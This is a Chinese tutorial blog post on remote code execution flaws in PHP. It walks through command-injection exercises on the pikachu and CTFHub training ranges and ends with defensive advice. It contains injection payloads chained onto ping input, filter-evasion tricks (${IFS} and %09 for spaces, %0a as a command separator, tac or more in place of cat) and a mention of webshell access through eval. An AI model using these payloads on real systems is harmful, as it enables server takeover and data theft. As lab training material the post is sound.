系列2:13、远程代码执行(RCE)漏洞相关

远程代码执行

可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

一、漏洞危害

1、获取服务器权限
2、获取敏感数据文件
3、写入恶意文件getshell
4、植入木马病毒勒索软件等

二、PHP RCE涉及函数

1、命令command注入

在这里插入图片描述

2、代码code注入

在这里插入图片描述

3、Windows命令拼接符号

在这里插入图片描述

4、Linux命令拼接符号

在这里插入图片描述

三、示例:(pikachu靶场)

1、ping

127.0.0.1 & ipconfig

在这里插入图片描述

2、evel

phpinfo();    
也可以直接用蚁剑连接

在这里插入图片描述
在这里插入图片描述

四、实践(ctfhub rce相关练习)

1、eval执行

在这里插入图片描述
(1)看到有eval函数,直接上蚁剑。
在这里插入图片描述
(2)蚁剑只看到一个文件
在这里插入图片描述
(3)查看当前目录只发现一个文件,切换到根目录下查看,发现flag文件。

2、命令注入

(1)查看代码没有任何过滤,直接查看目录文件

127.0.0.1;ls

(2)发现一个php文件,cat访问。

127.0.0.1;cat 27046314332967.php

在这里插入图片描述
(3)访问后页面没有显示,查看网页源代码发现flag。
在这里插入图片描述
(4)第二种方法,也可以加密显示。

127.0.0.1;cat 27046314332967.php|base64

在这里插入图片描述

3、过滤cat

(1)观察代码发现过滤到了cat,所以在访问文件时需要使用cat的代替命令。

在这里插入图片描述

显示相关命令

cat由第一行开始显示内容,并将所有内容输出
tac从最后—行倒序显示内容,并将所有内容输出
more根据窗口大小,一页一页的显示文件内容
less 和more类似。但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail只显示最后几行
nl类似于cat -n,显示时输出行号
tailf 类似于tail -f

4、过滤空格

(1)观察代码发现过滤到了空格,所以在访问文件时需要使用空格的代替命令。
在这里插入图片描述

空格的各种形式

使用IFSS9、%09、<、>、<>、{,}、%20、${IFS)来代替空格

5、过滤目录分隔符

(1)观察代码发现过滤了目录分割符,所以在访问文件时需要使用代替命令。
在这里插入图片描述
(2)使用;组合多条命令。

127.0.0.1;cd flag_is_here;cat flag_1814925829678.php

在这里插入图片描述
在这里插入图片描述

6、综合练习

(1)过滤了很多的关键字,需要一一替换。
在这里插入图片描述
(2);的替换:%0a回车**%0d**换行

127.0.0.1%0als

(3)flag的替换:使用f***

127.0.0.1%0acd${IFS}f*** _is here%0als
127.0.0.1%0acd${IFS}f***_is_here%0amore${IFS}f***_20021218031292.php

五、漏洞防御

1、开源框架,升级到最新版本
2、尽量不要使用命令执行的函数
3、如果必须使用,需要做白名单处理
4、用正则表达式对用户输入的内容进行处理
5、使用WAF

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值